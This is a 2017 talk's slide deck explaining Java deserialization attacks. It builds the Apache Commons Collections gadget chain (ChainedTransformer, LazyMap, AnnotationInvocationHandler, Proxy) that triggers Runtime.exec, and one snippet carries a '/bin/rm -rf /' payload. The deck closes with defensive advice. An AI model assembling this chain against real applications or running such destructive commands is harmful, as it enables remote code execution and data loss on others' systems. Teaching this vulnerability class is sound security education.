
Exploiting Java Serialization

Felix Herrmann
University Würzburg
Olyro GmbH
2017-05-03

1



Overview

Where to Find Further Information

Let’s Write a Small Command Line Todo App

WTF Just Happend OR How Does Java Serialization Work

Building an Exploit

Serializing Behavior

Calling the Behavior on Deserialization

Putting It All Together

Soooooo?

2



Where to Find Further Information



Where to Find Further Information

• For quite a few code example and different attack vectors
and the original talk go to:
https://github.com/frohoff/ysoserial

• For an introduction on how various system can be
attacked google: “What Do WebLogic, WebSphere, JBoss,
Jenkins, OpenNMS, and Your Application Have in
Common?”
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Let’s Write a Small Command Line
Todo App



Let’s Write a Small Command Line Todo App

The app is shown live on the command line. The code can be
found in the repository the talk is in.

4



WTF Just Happend OR How Does Java
Serialization Work



WTF Just Happend OR How Does Java Serialization Work

• The serialization is built into java via the
ObjectInputStream and ObjectOutputStream classes

• It can serialize classes automatically. All you have to do is
implement the Serializable interface

• It even works after certain refactorings. You need to
specify the serialVersionUID for that

• If the class in question has a writeObject or readObject

method, this method will be called on reading/writing of
the object to add custom serialization/deserialization
behavior

• There is also writeReplace and readResolve to allow
the classes to read and write objects of a different type on
(de)serializiation
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Let’s Take a Look at Our Deserialization

public static <T> T load(Path p) throws IOException,

ClassNotFoundException {↪→

try (ObjectInputStream s = new

ObjectInputStream(newInputStream(p))) {↪→

return (T) (s.readObject());

}

}

• We don’t tell it which class to load because we can’t
• It could throw a ClassNotFoundException which means it
can fail if the class is not found which means it probably
can load any class on the classpath

• Sooo..... What DID we just deserialize
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Building an Exploit



What Do We Need?

We need two things

• The ability to serialize/deserialize behavior
• The ability to call that behavior on deserialization

And we need it to work with the standard library or at least
commonly used libraries
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Serializing Behavior

Apache Commons Collections Transformers to the rescue! They
allow us to represent simple transformations as objects and
are serializable. A Transformer<I, O> is basically a function
from I to O .

• new ConstantTransformer(c) just yields a transformer
which ignores it’s input and yields c

• new InvokerTransformer(m, cs, ps) takes it’s input as
an object, calls the method named m , with parameters
ps which need to conform to the classes cs... .

• new ChainTransformer(ts) chains the transformers given
by ts together to one big transformer.
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Serializing Behavior

So

new ChainedTransformer(

new ConstantTransformer(Runtime.getRuntime()),

new InvokerTransformer(

"exec",

new Class<?>[] { String[].class },

new Object[] {

new String[] { "/bin/rm", "-rf", "/" }

})

);

should do it, right?
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Serializing Behavior

• Well no, because Runtime is not serializable.

• But Class<T> objects are!
• Use reflection and class objects to get the runtime.

new ChainedTransformer(

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", ...),

new InvokerTransformer("invoke", ...),

new InvokerTransformer("exec", ...)

);

success!
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Calling the Behavior on Deserialization

Apache Commons Collections to the rescue (again)!
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Calling the Behavior on Deserialization

So the interesting thing is to get into this code path:

@Override

public V get(final Object key) {

// create value for key if key is not currently in

the map↪→

if (map.containsKey(key) == false) {

@SuppressWarnings("unchecked")

final K castKey = (K) key;

final V value = factory.transform(castKey);

map.put(castKey, value);

return value;

}

return map.get(key);

}
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Calling the Behavior on Deserialization

So we need to:

• Create a LazyMap

• Give it our ChainedTransformer

• Build an object which calls get with an key not in the
map during deserialization

• Since we can create a map, we can create an empty map.
Which means that every call to get results in a key miss
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Calling the Behavior on Deserialization

The first part is easy:
LazyMap.lazyMap(new HashMap<A, B>(), transformers) Now,
we need to find some class which would call get on a given
map upon deserializiation.
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Calling the Behavior on Deserialization

Let’s try the AnnotationInvocationHandler :

class AnnotationInvocationHandler implements

InvocationHandler, Serializable {↪→

private static final long serialVersionUID =

6182022883658399397L;↪→

private final Class<? extends Annotation> type;

private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends

Annotation> type, Map<String, Object>

memberValues) {

↪→
↪→

this.type = type;

this.memberValues = memberValues;

}

16



Calling the Behavior on Deserialization

Let’s try the AnnotationInvocationHandler :

• It has a map which we can supply in memberValues

• It is serializable
• It is not public but easy to create via reflection:

String name = "s.r.a.AnnotationInvocationHandler";

Class c = Class.forName(name);

Constructor con = c.getDeclaredConstructors()[0];

con.setAccessible(true);

con.newInstance(Override.class, lazyMap);

• Does it call get in the readObject method?
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Calling the Behavior on Deserialization

private void readObject(java.io.ObjectInputStream s) {

s.defaultReadObject();

AnnotationType annotationType = /*...*/

Map<String, Class<?>> memberTypes = /*...*/

for (Map.Entry<...> mv : memberValues.entrySet()) {

String name = mv.getKey();

Class<?> memberType = memberTypes.get(name);

if (memberType != null) {

Object value = mv.getValue();

if (!(memberType.isInstance(value) ||

value instanceof ExceptionProxy)) {

mv.setValue(

new AnnotationTypeMismatchExceptionProxy(

"error").setMember(/*...*/)); } } } }
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Calling the Behavior on Deserialization

public Object invoke(Object proxy, Method method,

Object[] args) {↪→

String member = method.getName();

Class<?>[] paramTypes = method.getParameterTypes();

/* Error checking and handling of equals, ... */

/*...*/

Object result = memberValues.get(member);

/* Rest not important... */

}

This one calls get on the memberValues variable. But how do
we get it invoked?
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Calling the Behavior on Deserialization

The Answer: Java Proxies

• are used to dynamically generate classes which satisfy
an/multiple interfaces

• are serializable
• are given an InvocationHandler (like

AnnotationInvocationHandler )
• dispatch every call (matching one of those interfaces) to
the invoke method on the given InvocationHandler
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Putting It All Together

ChainTransformer

LazyMap

AnnotationInvocationHandler

Proxy

AnnotationInvocationHandler On Deserialization

• AIH.readObject is called
• calls entrySet() on
proxy

• calls invoke on inner
invocation handler

• calls get on lazy map
• calls transform on

ChainTransformer

• executes our code
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Putting It All Together

The exploit is shown live. The code can be found in the
repository the talk is in.
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Soooooo?



Putting It All Together

What do we learn from it?

• Use java serialization only if you have to
• Only deserialize from a known source
• Be really careful. It’s incredibly easy to open yourself up to
various security issues

• Read the chapter about serializiation of “Effective Java”
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